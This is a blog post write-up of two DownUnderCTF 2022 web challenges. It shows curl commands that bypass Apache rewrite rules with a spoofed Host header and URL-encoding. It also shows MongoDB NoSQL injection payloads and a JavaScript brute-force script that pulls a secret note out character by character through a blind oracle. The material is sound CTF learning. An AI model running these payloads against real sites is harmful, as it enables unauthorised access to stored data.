Skip to content

[Writeup] DownUnderCTF 2022

Posted on:September 23, 2022 at 06:04 PM

1.

Archiving this for the sole purpose to prove I did stuff - The three CTFs I participated in prior to DUCTF were all korean so I didn’t bother writing a writeup. It was my first time playing a CTF in a team, having teammates encouraged me enough to grind more in a CTF where I felt like some challs were way out of my league. DUCTF was a huge event, so kudos to pjsk.

I’ll be skipping some challs and explaining helicoptering, noteworthy.

2. THE CHALLS

helicoptering - web

helicoptering

helicoptering2

Apache uses a rewriting engine to manipulate requests, about which you can read more here

My approach was to

  1. bypass the host header as the first condition evaluates %{HTTP_HOST} and denies everything but localhost
  2. bypass %{THE_REQUEST} value as the second condition evaluates the word “flag”

So the solution would be

$ curl -H "Host:localhost" [site address part one]
$ curl [site address part two]/fl%61g.txt

noteworthy - web

noteworthy

 let admin = await User.findOne({ username: 'admin' })
    if(!admin) {
        admin = new User({ username: 'admin' })
        await admin.save()
    }
    let note = await Note.findOne({ noteId: 1337 })
    if(!note) {
        const FLAG = process.env.FLAG || 'DUCTF{test_flag}'
        note = new Note({ owner: admin._id, noteId: 1337, contents: FLAG })
        await note.save()
        admin.notes.push(note)
        await admin.save()
    }

The flag is in a note which has 1337 for the noteId. So that’s our target..

router.post('/edit', ensureAuthed, async (req, res, next) => {
    let q = req.query
    try {
        if('noteId' in q && parseInt(q.noteId) != NaN) {
            const note = await Note.findOne(q)

            if(!note) {
                return next({ message: 'Note does not exist!' })
            }

            if(note.owner.toString() != req.user.userId.toString()) {
                return next({ message: 'You are not the owner of this note!' })
            }

            let { contents } = req.body
            if(!contents || contents.length > 200) {
                return next({ message: 'Invalid contents' })
            }
            contents = contents.toString()
            note.contents = contents
            await note.save()
            return res.json({ success: true, message: 'Note edited.' })
        } else {
            return next({ message: 'Invalid request' })
        }
    } catch(e) {
        return next({ message: 'Invalid request' })
    }
})

After some digging I was able to figure out the code doesn’t filter the query, enabling SQLi. The website used MongoDB which meant NoSQL injection.

router.get('/edit', ensureAuthed, async (req, res) => {
    let q = req.query
    try {
        if('noteId' in q && parseInt(q.noteId) != NaN) {
            const note = await Note.findOne(q)

            if(!note) {
                return res.render('error', { isLoggedIn: true, message: 'Note does not exist!' })
            }

            if(note.owner.toString() != req.user.userId.toString()) {
                return res.render('error', { isLoggedIn: true, message: 'You are not the owner of this note!' })
            }

            res.render('edit', { isLoggedIn: true, noteId: note.noteId, contents: note.contents })
        } else {
            return res.render('error', { isLoggedIn: true, message: 'Invalid request' })
        }
    } catch {
        return res.render('error', { isLoggedIn: true, message: 'Invalid request' })
    }
})

/edit?noteId=192304913 (its a random number) leads to the editing page. It blocks your access if you are not the owner but we’re able to inject payload here; as an example /edit?noteId[$ne]=192304913

Depending on whether the payload is true or false we get the message ‘Note does not exist!’ or ‘You are not the owner of this note!’ - basically enabling blind SQLi.

So my approach would be

  1. figuring out the length of the content as we know the target noteId
  2. figuring out the content itself.
/edit?noteId[$eq]=1337&contents[$regex]=.{29}

leads to the message ‘You are not the owner of this note!’, so the flag length is 29

The first script I rushed out didn’t work, so I had to get help. The solution would be something like:

function pwn(params){
  var http = new XMLHttpRequest();
  var url = "/edit?noteId[$eq]=1337&contents[$regex]=DUCTF{n0sql1_1s_th3_new_"+params;
  http.open("GET", url, false);
  http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  http.send();
  if(http.response.indexOf("You are not the owner of this note!") != -1){ return true; }
  else return false;
}

flag = "";
for(var i=0;i<30;i++){
for(var j=127;j>32;j--){
t = String.fromCharCode(j);
    if((t == "#") || (t == "&") || (t == "*") || (t == ".") || (t == ";") || (t == "?") || (t == "|")) continue;
    if(pwn(flag+t)==true){ flag += t; console.log(flag); break; }
    }
}